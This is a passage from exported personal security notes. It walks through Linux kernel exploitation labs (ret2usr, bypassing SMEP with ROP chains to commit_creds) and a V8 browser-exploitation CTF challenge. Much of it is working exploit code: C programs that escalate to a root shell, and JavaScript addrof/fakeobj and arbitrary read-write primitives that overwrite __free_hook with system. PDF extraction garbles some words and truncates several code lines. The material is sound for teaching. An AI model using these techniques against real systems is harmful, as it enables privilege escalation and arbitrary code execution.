designed for this purpose, as seen in Vol. 2A 3-541 of the Intel Software
Developer’s Manual:
[...]
During this operation, the processor pops the return instruction pointer,
return code segment selector, and EFLAGS image from the stack to the EIP,
CS, and EFLAGS registers, respectively, and then resumes execution of the
interrupted program or procedure.
As we can see, it pops all the registers o" the stack, which is why we push the
saved values in that speci!c order. It may be possible to restore them
sequentially without this instruction, but that increases the likelihood of things
going wrong as one restoration may have an adverse e"ect on the following -
much better to just use iretq .
Final Exploit
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 267 of 554
Cybersecurity Notes 5/3/25, 16:17
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
void get_shell(void){
puts("[*] Returned to userland");
system("/bin/sh");
}
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags;
void save_state(){
puts("[*] Saving state");
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
void escalate() {
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
"movabs rcx, 0xffffffff81066fa0;" // prepare_kernel_cred
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 268 of 554
Cybersecurity Notes 5/3/25, 16:17
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_rsp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_state();
// overflow
uint64_t payload[7];
commit_creds 0xffffffff81077390
prepare_kernel_cred 0xffffffff81077510
The major number needs to be updated to 253 in init for this version! I've done it
automatically, but it bears remembering if you ever try to create your own module.
rop_ret2usr_6.10.zip
4MB archive
Instead of an elevated shell, we get a kernel panic, with the following data dump:
I could have left this part out of my blog, but it's valuable to know a bit more
about debugging the kernel and reading error messages. I actually came across
this issue while trying to get the previous section working, so it happens to all of
us!
One thing that we can notice is that, the error here is listed as a NULL pointer
dereference error. We can see that the error is thrown in commit_creds() :
We can check the source here, but chances are that the parameter passed to
commit_creds() is NULL - this appears to be the case, since RDI is shown to be
0 above!
Opening a GDBserver
In our run.sh script, we now include the -s #ag. This #ag opens up a GDB
server on port 1234 , so we can connect to it and debug the kernel. Another
useful #ag is -S , which will automatically pause the kernel on load to allow us to
debug, but that's not necessary here.
What we'll do is pause our exploit binary just before the write() call by using
getchar() , which will hang until we hit Enter or something similar. Once it
pauses, we'll hook on with GDB. Knowing the address of commit_creds() is
0xffffffff81077390 , we can set a breakpoint there.
$ gdb kernel_rop.ko
pwndbg> target remote :1234
pwndbg> b *0xffffffff81077390
We then continue with c and go back to the VM terminal, where we hit Enter
to continue the exploit. Coming back to GDB, it has hit the breakpoint, and we can
see that RDI is indeed 0 :
rdi 0x0 0
This explains the NULL dereference. RAX is also 0 , in fact, so it's not a problem
with the mov :
6.1
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
new->non_rcu = 0;
atomic_long_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
// [...]
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
6.10
if (WARN_ON_ONCE(!daemon))
return NULL;
old = get_task_cred(daemon);
*new = *old;
new->non_rcu = 0;
atomic_long_set(&new->usage, 1);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
// [...]
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;
put_cred(old);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
The last and !rst parts are e"ectively identical, so there's no issue there. The
issue arises in the way it handles a NULL argument. On 5.10, it treats it as using
init_task :
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
if (WARN_ON_ONCE(!daemon))
return NULL;
Unfortunately, there's no way to bypass this easily! We can fake cred structs,
and if we can leak init_task we can use that memory address as well, but it's
no longer as simple as calling prepare_kernel_cred(0) !
SMEP
Supervisor Memory Execute Protection
In older kernel versions we could use ROP to disable SMEP entirely, but this has
been patched out. This was possible because SMEP is determined by the 20th bit
of the CR4 register, meaning that if we can control CR4 we can disable SMEP from
messing with our exploit.
We can enable SMEP in the kernel by controlling the respective QEMU #ag
( qemu64 is not notable):
-cpu qemu64,+smep
Setup
Using the same setuo as ret2usr, we make one single modi!cation in run.sh :
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-initrd initramfs.cpio \
-append "console=ttyS0 quiet loglevel=3 oops=panic nokaslr pti=off" \
-monitor /dev/null \
-nographic \
-no-reboot \
-smp cores=2 \
-cpu qemu64,+smep \ # add this line
-s
Now if we load the VM and run our exploit from last time, we get a kernel panic.
Kernel Panic
It's worth noting what it looks like for the future - especially these 3 lines:
Overwriting CR4
So, instead of just returning back to userspace, we will try to overwrite CR4.
Assuming KASLR is still o", we can get the address of this function via
/proc/kallsyms (if we update init to log us in as root ):
The last thing we need to do is !nd some gadgets. To do this, we have to convert
the bzImage !le into a vmlinux ELF !le so that we can run ropper or
ROPgadget on it. To do this, we can run extract-vmlinux , from the o$cial
Linux git repository.
// overflow
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 280 of 554
Cybersecurity Notes 5/3/25, 16:17
// overflow
uint64_t payload[20];
int i = 6;
Failure
This fails. Why?
SMEP is enabled again. How? If we debug the exploit, we de!nitely hit both the
gadget and the call to native_write_cr4() . What gives?
set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");
if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 281 of 554
Cybersecurity Notes 5/3/25, 16:17
Essentially, it will check if the val that we input disables any of the bits de!ned
in cr4_pinned_bits . This value is set on boot, and e"ectively stops "sensitive CR
bits" from being modi!ed. If they are, they are unset. E"ectively, modifying CR4
doesn't work any longer - and hasn't since version 5.3-rc1.
The previous approach failed, so let's try and escalate privileges using purely ROP.
Calling prepare_kernel_cred()
First, we have to change the ropchain. Start o" with !nding some useful gadgets
and calling prepare_kernel_cred(0) :
int main() {
// [...]
// overflow
uint64_t payload[7];
int i = 6;
// prepare_kernel_cred(0)
payload[i++] = pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
// [...]
}
Now comes the trickiest part, which involves moving the result of RAX to RSI
before calling commit_creds() .
• Gadget 1 is used to set RDX to 0 , so we bypass the jne in Gadget 2 and hit
ret
• Gadget 2 and Gadget 3 move the returned cred struct from RAX to RDX
• Gadget 4 moves it from RAX to RDI, then compares RDI to RDX. We need
these to be equal to bypass the jne and hit the ret
// [...]
// commit_creds()
payload[i++] = pop_rdx;
payload[i++] = 0;
payload[i++] = mov_rcx_rax;
payload[i++] = mov_rdx_rcx;
payload[i++] = mov_rdi_rax;
payload[i++] = commit_creds;
Returning to userland
Recall that we need swapgs and then iretq . Both can be found easily.
The pop rbp; ret is not important as iretq jumps away anyway.
To simulate the pushing of RIP, CS, SS, etc we just create the stack layout as it
would expect - RIP|CS|RFLAGS|SP|SS , the reverse of the order they are pushed
in.
// commit_creds()
payload[i++] = swapgs;
payload[i++] = iretq;
payload[i++] = user_rip;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_rsp;
payload[i++] = user_ss;
Final Exploit
// gcc -static -o exploit exploit.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 285 of 554
Cybersecurity Notes 5/3/25, 16:17
#include <stdint.h>
void get_shell(void){
puts("[*] Returned to userland");
system("/bin/sh");
}
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rsp;
uint64_t user_rflags;
void save_state(){
puts("[*] Saving state");
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
void escalate() {
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
"movabs rcx, 0xffffffff81066fa0;" // prepare_kernel_cred
"call rcx;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_rsp;"
"push r15;"
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 286 of 554
Cybersecurity Notes 5/3/25, 16:17
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_state();
// overflow
uint64_t payload[25];
int i = 6;
// prepare_kernel_cred(0)
payload[i++] = pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
// commit_creds()
payload[i++] = pop_rdx;
payload[i++] = 0;
payload[i++] = mov_rcx_rax;
payload[i++] = mov_rdx_rcx;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 287 of 554
Cybersecurity Notes 5/3/25, 16:17
payload[i++] = mov_rdx_rcx;
payload[i++] = mov_rdi_rax;
payload[i++] = commit_creds;
// commit_creds()
payload[i++] = swapgs;
payload[i++] = iretq;
payload[i++] = user_rip;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_rsp;
payload[i++] = user_ss;
SMAP
Supervisor Memory Access Protection
For example, functions such as strcpy or memcpy do not work for copying data
to and from user space when SMAP is enabled. Instead, we are provided the
functions copy_from_user and copy_to_user , which are allowed to brie#y
bypass SMAP for the duration of their operation. These functions also have
additional hardening against attacks such as bu"er over#ows, with the function
__copy_overflow acting as a guard against them.
This means that whether you interact using write / read or ioctl , the structs
that you pass via pointers all get copied to kernel space using these functions
before they are messed around with. This also means that double-fetches are
even more unlikely to occur as all operations are based on the snapshot of the
data that the module took when copy_from_user was called (unless
copy_from_user is called on the same struct multiple times).
Like SMEP, SMAP is controlled by the CR4 register, in this case the 21st bit. It is
also pinned, so overwriting CR4 does nothing, and instead we have to work
around it. There is no speci!c "bypass", it will depend on the challenge and will
simply have to be accounted for.
-cpu qemu64,+smep,+smap
modprobe_path
KASLR
TODO
KPTI
Browser Exploitation
This is going to document my journey into V8 exploitation, and hopefully provide
some tools to help you learn too.
Most of what is written from here is courtesy of Faith and their fantastic writeup for
this challenge. Please go check them out!
Ok so !rst o", we're gonna need an old VM. Why? It's an old challenge with an old
version of v8. Back then, the v8 version compilation steps required the python
command to point at python2 instead of python3 like on my ParrotOS VM, and
there is the odd number of other steps. Long story short, there is a very real
possibility for needing to jerry-rig a bunch of stu", and I don't want to break a VM
I actually use. Whoops.
So, we're gonna use a Ubuntu 18.04 VM. You can get the ISO !le directly from
here (amd64 version), and then set up a VM in VMware Workstation or your
preferred virtualisation program.
Now we want to set up the system we're actually attacking. Instead of building v8
itself, we're going to build d8, the REPL (read–eval–print loop) for v8. It's
essentially the command-line of v8, meaning we can compile less.
Now let's grab the depot_tools , which is needed for building v8, then add it to
our PATH :
$ fetch v8
$ cd v8
v8$ ./build/install-build-deps.sh
The next step is to checkout the commit that the challenge is based on, then
sync the local !les to that:
Now we want to apply the diff !le we get given. The challenge archive can be
found here, and we'll extract it. The oob.diff !le de!nes the changes made to
the source code since the commit we checked out, which includes the
vulnerability.
$ 7z x Chrome.tar.gz
$ tar -xvf Chrome.tar
$ cp Chrome/oob.diff .
Now let's apply it then prepare and build the release version:
Now we hope and pray that rerunning the ninja command breaks nothing:
$ ninja --version
depot_tools/ninja.py: Could not find Ninja in the third_party of the current p
Please take one of the following actions to install Ninja:
- If your project has DEPS, add a CIPD Ninja dependency to DEPS.
- Otherwise, add Ninja to your PATH *after* depot_tools.
Ok, no ninja . Let's follow this StackOver#ow post and install it:
I'm going to revert default Python to version 3.6 to minimise the possibility of
something breaking.
I'm also going to install gef , the GDB extension. gef is actively maintained, and
also actually supports Ubuntu 18.04 (which pwndbg does not o$cially, although
that's due to requiring Python 3.8+ which we have technically set up in a
roundabout way - use at your own risk!).
The Challenge
The actual challenge
The Patch
Let's !rst read the patch itself:
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-defin
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)
+ CPP(ArrayOob)
/* ArrayBuffer */
/* ES #sec-arraybuffer-constructor */
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
+ Builtins::kArrayOob,2,false);
There's the odd bit of other stu" thrown around for getting it working, but the
actual source of the challenge is (unsurprisingly) ArrayOob itself (with a name
like that, who would have thought?). Cleaned up a little, it looks like this:
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver())
);
if(len == 1) {
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
} else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1))
);
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
Familiarity with the V8 codebase is unlikely, and even if you are familiar with it, it's
unlikely you can read it like a native language.
• It looks at the number of arguments the function takes, then stores it in len
◦ If len is greater than 2 , it throws an error (note that the !rst argument
is always this , so in reality it's just one).
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 300 of 554
Cybersecurity Notes 5/3/25, 16:17
◦ This is a clear Out-Of-Bounds (OOB) Write, for the same reason as above
So we have a very clear OOB vulnerability, allowing both a read and a write to one
index further than the maximum length of the array. This begs an important
question: what exists past the end of an array?
First, let's talk about data types in V8 and how they are represented.
Integers in V8
Any output you get will always be in #oating-point form; this is because V8
actually doesn't have a way to express 64-bit integers normally. We need a way to
convert #oating-point outputs to hexadecimal addresses (and vice versa!). To do
this, we'll use the standard approach, which is as follows:
You'll see these functions in most V8 exploits. They essentially just convert
between interpreting data as #oating-point form or as integers.
We're going to throw this into a javascript !le exploit.js . If we want to use
these functions, we can simply pass them to d8 in the command line:
Maps
• The type of the array elements (e.g. unboxed doubles, tagged pointers, etc)
Each javascript object is linked to a map. While the property names are usually
stored in the map, the values are stored with the object itself. This allows objects
with the same sort of structure to share maps, increasing e$ciency.
There are three di"erent regions that property values can be stored
◦ to be honest, not entirely sure that this means, but I'll get it eventually
In the !rst two cases, the Map stores each property of the object with a linked
slot number. Each object then contains all of the property values, matching with
the slot number of the relevant property. The object does not store the name of
the property, only the slot number.
I promise this makes sense - for example, let's take two array objects:
Once this is run, memory will contain two JSObject instances and one Map :
We can see that the Map stores the properties a and b , giving them the slot
values 0 and 1 respectively. The two objects object1 and object2 , because
of their identical structure, both use Map1 as a map. The objects do not
themselves know the name of the properties, only the slot values, which they
assign a value to.
If we then added a property c to object2 , they would then share Map1 again!
This works assigning each map something called a transition table, which is just a
note of which map to transition to if a property of a certain name (and possibly
type) are added to it. In the example above, Map2 would make a note that if a
property c is added to object2 then it should transition to use Map1 .
Let's see how this works out in memory for arrays using the debug version of d8,
along with the incredibly helpful %DebugPrint() feature that comes along with
it. We'll run it under gdb so we can analyse memory as well, and make
connections between all the parts.
$ gdb d8
gef➤ run --allow-natives-syntax
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0x30b708b4dd71: [JSArray]
- map: 0x09bccc0c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2358a3991111 <JSArray[0]>
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x3659bdb00c71 <FixedArray[0]> {
#length: 0x0418bc0c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x30b708b4dd51 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0x9bccc0c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x09bccc0c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0418bc0c0609 <Cell value= 1>
- instance descriptors #1: 0x2358a3991f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x2358a3991eb9 <TransitionArray[4]>Transition array #1:
0x3659bdb04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOL
[1.5, 2.5]
d8>
Let's view memory itself. Hit Ctrl-C and you'll go to the gef prompt. Let's
view the memory at the location of the JSArray object itself, 0x30b708b4dd70 .
So the JSArray !rst has its pointer to its own map, then a pointer to its
properties, then a pointer to its elements and then its length (note that length
will be an smi, so a length of 2 is actually represented in memory as 2<<32 !).
One thing that is very curious is that the the elements array is actually located
0x20 bytes ahead of memory from the JSArray object itself. Interesting! Let's
view it:
As expected, the next two entries are the doubles representing 1.5 and 2.5 ,
the entries in the array:
But immediately after in memory is the original JSArray . So? Well, if we have an
OOB read/write to an extra index past the array, the value we are accessing is the
pointer in the JSArray that points to the map. We can write to and read the
map of the array.
Just to con!rm this is correct, we're going to run the release version of d8 and
check the output of .oob() . The reason we have to use release is that the debug
version has a lot more safety and OOB checks (I assume for fuzzing purposes) so
will just break if we try to use a.oob() . We need to run it with --shell
exploit.js , and you'll see why in a second.
$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob()
2.28382032514e-310
d8> ftoi(a.oob()).toString(16)
"2a0a9af82ed9"
Note that ftoi() only exists because of the --shell , which is why we needed
it.
d8> %DebugPrint(a)
0x2d83ee78e0b9 <JSArray[2]>
[1.5, 2.5]
d8> ^C
gef➤ x/4gx 0x2d83ee78e0b8
0x2d83ee78e0b8: 0x00002a0a9af82ed9 0x00000db811140c71
0x2d83ee78e0c8: 0x00002d83ee78e099 0x0000000200000000
The !rst value at the location of the JSArray is, as we saw earlier, the pointer to
the map. Not only that, but we successfully read it! Look - it's 0x2a0a9af82ed9
again!
Now we know we can read and write to the map that the array uses. How do we
go from here?
Values vs Pointers
The important thing to note is that sometimes a program will store values (pass
by value), and sometimes it will store a pointer to a value (pass by reference). We
can abuse this functionality, because an array of doubles will store the double
values themselves while an array of objects will store pointers to the objects.
read the value there, go to that address in memory, and return the object placed
there.
We can see this behaviour by de!ning two arrays, one of doubles and one of
custom objects:
float_arr :
obj_arr :
Note that the elements array in the second case has values 0x3a38af8904f1
and 0x3a38af8906b1 . If our suspicions are correct, they would be pointers to the
objects obj1 and obj2 . Do c to continue the d8 instance, and print out the
debug for the objects:
d8> %DebugPrint(obj1)
0x3a38af8904f1 <Object map = 0x17968188ab89>
{a: 1, b: 2}
d8> %DebugPrint(obj2)
0x3a38af8906b1 <Object map = 0x17968188ab89>
{a: 5, b: 10}
What happens if we overwrite the map of an object array with the map of a #oat
array? Logic dictates that it would treat it as a double rather than a pointer,
resulting in a leak of the location of obj1 ! Let's try it.
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issue
return ftoi(leak); // return leak as an integer
}
Really importantly, the reason we can set map_obj and get the map is because
obj_arr.oob() will return the value as a double, which we noted before! If it
returned that object itself, the program would crash. You can see this in my
Download Horsepower writeup.
$ gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
V8 version 7.5.0 (candidate)
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x031afef4ebe9 <Object map = 0x3658c164ab39>
{a: 1}
d8> addrof(obj).toString(16)
"31afef4ebe9"
The opposite of the addrof primitive is called a fakeobj primitive, and it works
in the exact opposite way - we place a memory address at an index in the $oat
array, and then change the map to that of the object array.
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
Arbitrary Reads
From here, an arbitrary read is relatively simple. It's important to remember that
whatever fakeobj() returns is an object, not a read! So if the data there does
not form a valid object, it's useless.
The trick here is to create a #oat array, and then make the !rst index a pointer to
a map for the #oat array. We are essentially faking an array object inside the
actual array. Once we call fakeobj() here, we have a valid, faked array.
But why does this help? Remember that the third memory address in a JSArray
object is an elements pointer, which is a pointer to the list of values actually
being stored. We can modify the elements pointer by accessing index 2 of the
real array, faking the elements pointer to point to a location of our choice.
Accessing index 0 of the fake array will then read from the fake pointer!
Because we need an index 2 , we're going to make the array of size 4, as 16-byte
alignment is typically nice and reduces the probability of things randomly
breaking.
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid arr
let fake = fakeobj(addrof(arb_rw_arr));
}
HOWEVER - this is not quite right! We want fake to point at the !rst element of
the FixedDoubleArray elements , so we need an o"set of 0x20 bytes back
(doubles are 8 bytes of space each, and we know from before that elements is
just ahead of the JSArray itself in memory), so it looks like this:
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid arr
// we know the elements array is placed just ahead in memory, so with a le
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
}
length smi:
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// place a fake object over the elements FixedDoubleArray of the valid arr
// we know the elements array is placed just ahead in memory, so with a le
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
Arbitrary Writes
Initial Fail
Logic would dictate that we could equally get an arbitrary write using the same
principle, by simply setting the value instead of returning it. Unfortunately, not
// Write to index 0
fake[0] = itof(BigInt(val));
}
Note that we're not explicitly accounting for pointer tagging here. This is not
because it's not important, but because the way we've set up addrof and fakeobj
preserves the tagging, and since we're working with static o"sets of multiples of
0x10 the tag is preserved. If we tried to explicitly write to a location, we would
have to tag it. If we wanted to be very thorough, we would put pointer tagging
explicitly in all functions.
In the blog post they tell us they're not sure why, and goes on to explain the
intended method with ArrayBuffer backing pointers. In a short twitter
conversation we had they tell us that
The arbitrary write doesn't work with certain addresses due to the use of
#oats. The overwrite had precision loss with certain addresses, but this wasn't
the case with ArrayBu"er backing pointers. The code handles that di"erently
compared to the elements ptr.
I can con!rm that running the initial_arb_write() does, in fact, crash with a
SIGSEGV. If anybody !nds a !x, I'm sure they would be very interested (and I
would too).
combine this with the DataView object to provide a low-level interface for
reading and writing multiple number types. These number types includes the
ever-useful setInt64() , which is where our reliability for handling the integers
probably comes from.
Getting RCE
From here, it's similar to userland exploitation.
Running it multiple times, the last 4 digits are consistent, implying that they're a
!xed o"set:
That bodes well. Running vmmap , we can !nd the region they are in:
gef➤ vmmap
[...]
0x00002b1dc2e80000 0x00002b1dc2ec0000 0x0000000000000000 rw-
[...]
So the o"sets appear to be 0x2ed9 and 0x2f79 . Let's throw that into
exploit.js and see if that's right by running it again and again. It appears to be,
but randomly there is an issue and the address is not even in assigned memory - I
assume it's at least in part due to the #oating-point issues.
Now we have that, let's try combing through the map region and see if there are
any other interesting values at !xed o"sets.
$ gdb ./d8
gef➤ run --allow-natives-syntax --shell exploit.js
[+] Address of Arbitrary RW Array: 0x64d2a00f499
[+] Float Map: 0x1d8734482ed9
[+] Object Map: 0x1d8734482f79
[+] Map Region Start: 0x1d8734480000
V8 version 7.5.0 (candidate)
d8> ^C
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 318 of 554
Cybersecurity Notes 5/3/25, 16:17
d8> ^C
gef➤ vmmap
[...]
0x00001d8734480000 0x00001d87344c0000 0x0000000000000000 rw-
[...]
0x0000555555554000 0x00005555557e7000 0x0000000000000000 r-- /home/andrej/Desk
0x00005555557e7000 0x00005555562af000 0x0000000000293000 r-x /home/andrej/Desk
0x00005555562af000 0x00005555562ef000 0x0000000000d5b000 r-- /home/andrej/Desk
0x00005555562ef000 0x00005555562f9000 0x0000000000d9b000 rw- /home/andrej/Desk
0x00005555562f9000 0x00005555563c6000 0x0000000000000000 rw- [heap]
[...]
0x00007ffff7005000 0x00007ffff71ec000 0x0000000000000000 r-x /lib/x86_64-linux
0x00007ffff71ec000 0x00007ffff73ec000 0x00000000001e7000 --- /lib/x86_64-linux
0x00007ffff73ec000 0x00007ffff73f0000 0x00000000001e7000 r-- /lib/x86_64-linux
0x00007ffff73f0000 0x00007ffff73f2000 0x00000000001eb000 rw- /lib/x86_64-linux
[...]
gef➤ x/200gx 0x1d8734480000
0x1d8734480000: 0x0000000000040000 0x0000000000000004
0x1d8734480010: 0x00005555563a7f60 0x000055555631a2e0
0x1d8734480020: 0x00001d8734480000 0x0000000000040000
0x1d8734480030: 0x0000555556329b60 0x00001d8734480001
0x1d8734480040: 0x0000555556394e90 0x00001d8734480138
0x1d8734480050: 0x00001d87344c0000 0x0000000000000000
0x1d8734480060: 0x0000000000000000 0x0000000000000000
[...]
We can see that, very close to the start of the region, there appear to be two
heap addresses (and more later). This makes sense, as many maps will point to
areas of the heap as the heap stores dynamically-sized data.
That seems more useful than what we have right now, so let's grab that and see if
the o"set is constant. Right now, the o"sets are 0xaef60 and 0x212e0 . They
appear to be constant. Let's throw those leaks in too.
It all seems to be pretty good, but a heap leak itself is not the most helpful. Let's
keep digging, but looking at the heap this time, as that is probably more likely to
store libc or binary addresses.
Ok, pretty useless. What about if we actually use the heap addresses we have, and
see if there's anything useful there? The !rst one has nothing useful, but the
second:
The vmmap output for this speci!c run shows a binary base of 0x555555554000
and a heap base of 0x5555562f9000 . This makes the !rst address a binary
address! Let's make sure it's a consistent o"set from the base, and we're also
gonna swap out our exploit to use the second heap address we spotted in the
map region. And it is!
Now we just have to work out the GOT o"set and read the entry to !nd libc base!
Then we just need to get system and free_hook o"sets, and we are good to go.
Pretty easy from inside GDB:
gef➤ p &system
$1 = (int (*)(const char *)) 0x7ffff7054420 <__libc_system>
gef➤ p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff73f28e8 <__free_hook>
console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");
Full Exploit
// conversion functions
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
// others
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent
return ftoi(leak); // return leak as an integer
}
function fakeobj(addr) {
float_arr[0] = itof(addr); // placed desired address into index 0
float_arr.oob(map_obj); // change to object map
let fake = float_arr[0]; // get fake object
float_arr.oob(map_float); // swap map back
return fake; // return object
}
function arb_read(addr) {
// tag pointer
if (addr % 2n == 0)
addr += 1n;
// Write to index 0
fake[0] = itof(BigInt(val));
}
// exploit
// leaks
console.log("[+] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[+] Object Map: 0x" + ftoi(map_obj).toString(16));
console.log("[+] Exploiting...");
arb_write(free_hook, system);
console.log("xcalc");
Abusing WebAssembly
This approach is even better because it will (theoretically) work on any operating
system, not be reliant on the presence of libc and __free_hook as it allows us to
run our own shellcode. I'm gonna save this in exploit2.js .
has been closed down and I cannot for the life of me !nd an alternative. Let me
know if you do.
gef➤ vmmap
[...]
0x000035d2131ff000 0x000035d21b141000 0x0000000000000000 ---
0x0000396a8d0b5000 0x0000396a8d0b6000 0x0000000000000000 rwx
0x0000396a8d0b6000 0x0000396acd0b5000 0x0000000000000000 ---
[...]
The last four are in the heap, so unlikely, but the !rst instance is near to the
